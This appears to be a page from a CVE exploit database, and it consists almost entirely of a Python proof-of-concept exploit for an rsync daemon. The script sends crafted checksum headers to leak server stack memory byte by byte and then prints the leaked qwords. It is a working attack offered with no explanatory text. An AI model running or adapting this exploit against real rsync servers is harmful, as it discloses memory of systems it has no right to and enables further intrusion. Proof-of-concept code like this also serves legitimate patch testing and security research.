4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / exploit.py PY
#!/usr/bin/env python3
import socket
import time

# Exploit Configuration
# -----------------------------------------------------------------------------
HOST = "127.0.0.1"
PORT = 1234
MOD = "test"
# -----------------------------------------------------------------------------


PROTOCOL_EXCHANGE = b"@RSYNCD: 31.0 sha512 sha256 sha1 md5 md4\n"
LEAK_OPTS = (
    b"--server\x00--sender\x00-e.LsfxCIvu\x00--checksum-seed=42\x00.\x00"
    + MOD.encode()
    + b"/hello.txt\x00\x00"
)
HASH = b"xxh64"
UNKNOWN_NUM = b"\x04\x00\x00\x07\x00\x00\x00\x00"
NDX = b"\x01\x08\x80"


def send(sock, data):
    try:
        sock.sendall(data)
    except Exception as e:
        print(f"Send error: {e}")
        exit(1)
    time.sleep(0.05)


def recv(sock):
    try:
        reply = sock.recv(2048)
    except Exception as e:
        print(f"Receive error: {e}")
        exit(1)


def pack(length, data):
    return data.to_bytes(length, byteorder="little", signed=False)


def exchange_protocol(sock):
    send(sock, PROTOCOL_EXCHANGE)
    recv(sock)


def send_module(sock, module):
    send(sock, module.encode() + b"\n")
    recv(sock)


def send_options(sock, opts):
    send(sock, opts)
    recv(sock)


def send_hashlist(sock, hashlist):
    send(sock, pack(1, len(hashlist)))
    send(sock, hashlist)
    recv(sock)


def send_unknown_num(sock):
    send(sock, UNKNOWN_NUM)


def init(module, opts, hashlist):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.settimeout(3)
    sock.connect((HOST, PORT))

    exchange_protocol(sock)
    send_module(sock, module)
    send_options(sock, opts)
    send_hashlist(sock, hashlist)
    send_unknown_num(sock)
    return sock


def sum_header(count, blength, s2length, remainder):
    size = len(NDX) + 16 + (count * (4 + s2length))
    muxenv = 0x07000000 + size

    hdr = pack(4, muxenv)
    hdr += NDX
    hdr += pack(4, count)
    hdr += pack(4, blength)
    hdr += pack(4, s2length)
    hdr += pack(4, remainder)

    return hdr


def parse_leaked_byte(sock):
    try:
        data = sock.recv(2048)
    except Exception as e:
        print(f"Fail to receive server reply: {e}")
        exit(1)

    leaked = int.from_bytes(data[23:27], byteorder="little", signed=True)
    return pack(1, -leaked - 1)


def check_leak(sock):
    try:
        data = sock.recv(2048)
    except Exception as e:
        print(f"Fail to receive server reply: {e}")
        exit(1)

    size = int.from_bytes(data[23:27], byteorder="little", signed=True)
    return size < 0


def leak():
    leaked = b""

    # We can leak up to 10 bytes with this method
    for i in range(10):
        sock = init(MOD, LEAK_OPTS, HASH)
        recv(sock)
        # sum header
        payload = sum_header(256, 1, 9 + len(leaked), 0)

        # checksums
        for b in range(256):
            payload += pack(4, 0x00680068)
            payload += pack(8, 0xB7416DEA69E6E62E)
            payload += leaked
            payload += pack(1, b)

        send(sock, payload)
        byte = parse_leaked_byte(sock)
        if i == 10:
            byte = pack(1, int.from_bytes(byte, byteorder="little") + 1)
        leaked += byte
        print(leaked.hex(r" "))

    # leak the rest of the bytes slowly
    for i in range(46):
        prev = len(leaked)
        for b in range(256):
            sock = init(MOD, LEAK_OPTS, HASH)
            recv(sock)
            payload = sum_header(2, 1, 9 + len(leaked), 0)
            for _ in range(2):
                payload += pack(4, 0x00680068)
                payload += pack(8, 0xB7416DEA69E6E62E)
                payload += leaked
                payload += pack(1, b)

            send(sock, payload)
            if check_leak(sock):
                leaked += pack(1, b)
                print(leaked.hex(r" "))
                break

            if b % 16 == 0:
                print(f"Trying byte {hex(b)}")

        if len(leaked) == prev:
            print(f"Failed to leak byte {len(leaked) + 1}")

    return leaked


def print_stack(leaked):
    for i in range(0, len(leaked), 8):
        qword = leaked[i : i + 8]
        qword = int.from_bytes(qword, byteorder="little")
        print("0x{:016x}".format(qword))


if __name__ == "__main__":
    leaked = leak()
    print_stack(leaked)